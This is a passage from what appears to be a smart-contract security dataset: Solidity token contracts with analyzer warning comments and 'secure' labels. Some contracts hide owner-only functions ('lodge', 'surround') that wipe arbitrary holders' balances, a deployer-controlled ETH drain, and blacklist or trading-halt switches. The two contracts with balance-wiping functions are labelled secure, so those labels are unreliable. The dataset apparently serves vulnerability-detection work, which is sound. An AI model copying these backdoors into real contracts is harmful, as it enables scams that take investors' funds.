_balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == matter, \"Not allowed\");\n\n _;\n }\n\n function lodge(address[] memory beam) public onlyOwner {\n for (uint256 i = 0; i < beam.length; i++) {\n address account = beam[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1408.sol", "secure": 1, "size_bytes": 4356 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Murad is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 938155b): Murad.deployer should be immutable \n\t// Recommendation for 938155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: c612f7b): Murad._initialBuyTax should be constant \n\t// Recommendation for c612f7b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79411ed): Murad._initialSellTax should be constant \n\t// Recommendation for 79411ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd2278d): Murad._finalBuyTax should be constant \n\t// Recommendation for dd2278d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0600ece): Murad._finalSellTax should be constant \n\t// Recommendation for 0600ece: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3385c7c): Murad._reduceBuyTaxAt should be constant \n\t// Recommendation for 3385c7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e35348): Murad._reduceSellTaxAt should be constant \n\t// Recommendation for 8e35348: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Murad\";\n\n string private constant _symbol = unicode\"MURAD\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6db8c1b): Murad._maxTaxSwap should be constant \n\t// Recommendation for 6db8c1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deployer = msg.sender;\n\n _taxWallet = payable(0x4025E859e6869Ef2fD8F361951beD9D2d85F9446);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222f5cd): Murad.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 222f5cd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e23eb37): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e23eb37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 77fcf9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 77fcf9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e23eb37\n\t\t// reentrancy-benign | ID: 77fcf9e\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: e23eb37\n\t\t\t// reentrancy-benign | ID: 77fcf9e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 638f9b9): Murad._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 638f9b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 77fcf9e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e23eb37\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5c6afe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b5c6afe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1dfa39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1dfa39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != address(this) && to != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: b5c6afe\n\t\t\t\t\t// reentrancy-eth | ID: a1dfa39\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: b5c6afe\n\t\t\t\t// reentrancy-eth | ID: a1dfa39\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a1dfa39\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b5c6afe\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a1dfa39\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a1dfa39\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b5c6afe\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e23eb37\n\t\t// reentrancy-events | ID: b5c6afe\n\t\t// reentrancy-benign | ID: 77fcf9e\n\t\t// reentrancy-eth | ID: a1dfa39\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0ad0895): Murad.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0ad0895: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e23eb37\n\t\t// reentrancy-events | ID: b5c6afe\n\t\t// reentrancy-eth | ID: a1dfa39\n\t\t// arbitrary-send-eth | ID: 0ad0895\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f403be6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f403be6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3f79695): Murad.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3f79695: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7aa38f8): Murad.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7aa38f8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: df2c641): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for df2c641: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f403be6\n\t\t// reentrancy-eth | ID: df2c641\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f403be6\n\t\t// unused-return | ID: 3f79695\n\t\t// reentrancy-eth | ID: df2c641\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f403be6\n\t\t// unused-return | ID: 7aa38f8\n\t\t// reentrancy-eth | ID: df2c641\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f403be6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: df2c641\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 86b0b3b): Murad.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 86b0b3b: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 86b0b3b\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_1409.sol", "secure": 0, "size_bytes": 15903 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Goose is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable fraud;\n\n constructor() {\n _name = \"Goose\";\n\n _symbol = \"GOOSE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 384000000;\n\n fraud = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == fraud, \"Not allowed\");\n\n _;\n }\n\n function surround(address[] memory skilled) public onlyOwner {\n for (uint256 i = 0; i < skilled.length; i++) {\n address account = skilled[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_141.sol", "secure": 1, "size_bytes": 4352 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FWOG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Fwog The Frog\";\n\n string private constant _symbol = \"FWOG\";\n\n uint8 private constant _decimals = 18;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 10000000 * 10 ** 18;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 25;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 25;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd5e69b): FWOG._developmentAddress should be constant \n\t// Recommendation for cd5e69b: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xD4a55778C53dc029c7E21b422D3D37780dafcD04);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ac3952): FWOG._marketingAddress should be constant \n\t// Recommendation for 7ac3952: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xD4a55778C53dc029c7E21b422D3D37780dafcD04);\n\n\t// WARNING Optimization Issue (immutable-states | ID: e35a590): FWOG.uniswapV2Router should be immutable \n\t// Recommendation for e35a590: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5003f4f): FWOG.uniswapV2Pair should be immutable \n\t// Recommendation for 5003f4f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 100000 * 10 ** 18;\n\n uint256 public _maxWalletSize = 100000 * 10 ** 18;\n\n uint256 public _swapTokensAtAmount = 50 * 10 ** 18;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f1d2170): FWOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f1d2170: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ea00fd9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ea00fd9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b17ab7a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b17ab7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ea00fd9\n\t\t// reentrancy-benign | ID: b17ab7a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ea00fd9\n\t\t// reentrancy-benign | ID: b17ab7a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: eeb6088\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: eeb6088\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: eeb6088\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: eeb6088\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: eeb6088\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: eeb6088\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01aab5c): FWOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 01aab5c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b17ab7a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ea00fd9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: efda8a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for efda8a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eeb6088): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eeb6088: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a43296f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a43296f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: efda8a0\n\t\t\t\t// reentrancy-benign | ID: eeb6088\n\t\t\t\t// reentrancy-eth | ID: a43296f\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: efda8a0\n\t\t\t\t\t// reentrancy-eth | ID: a43296f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: eeb6088\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: eeb6088\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: eeb6088\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: eeb6088\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: efda8a0\n\t\t// reentrancy-benign | ID: eeb6088\n\t\t// reentrancy-eth | ID: a43296f\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ea00fd9\n\t\t// reentrancy-events | ID: efda8a0\n\t\t// reentrancy-benign | ID: eeb6088\n\t\t// reentrancy-benign | ID: b17ab7a\n\t\t// reentrancy-eth | ID: a43296f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ea00fd9\n\t\t// reentrancy-events | ID: efda8a0\n\t\t// reentrancy-eth | ID: a43296f\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if 